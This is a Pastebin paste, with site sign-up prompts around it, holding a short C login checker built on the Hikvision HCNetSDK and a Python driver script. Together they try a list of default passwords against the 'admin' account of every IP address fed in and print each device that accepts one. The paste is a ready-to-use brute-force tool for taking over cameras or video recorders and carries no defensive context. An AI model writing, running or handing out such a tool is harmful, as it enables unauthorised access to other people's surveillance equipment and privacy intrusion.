Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "../include/HCNetSDK.h"
- int main(int argc, char **argv) {
- NET_DVR_Init();
- NET_DVR_DEVICEINFO_V30 struDeviceInfo;
- int loginCheck = NET_DVR_Login_V30(argv[1], 8000, "admin", argv[2], &struDeviceInfo);
- if (loginCheck < 0) {
- return 1;
- } else {
- return 0;
- }
- }
- ------
- import subprocess, sys
- password_list = ["12345", "1234", "123456", "admin", "password", "123", "1", "qwerty"]
- for ip in sys.stdin.readlines():
- ip = ip.strip()
- for psw in password_list:
- if subprocess.call(["./logintest", ip, psw]) == 0:
- print(ip + " " + psw)
- break
Advertisement
Add Comment
Please, Sign In to add comment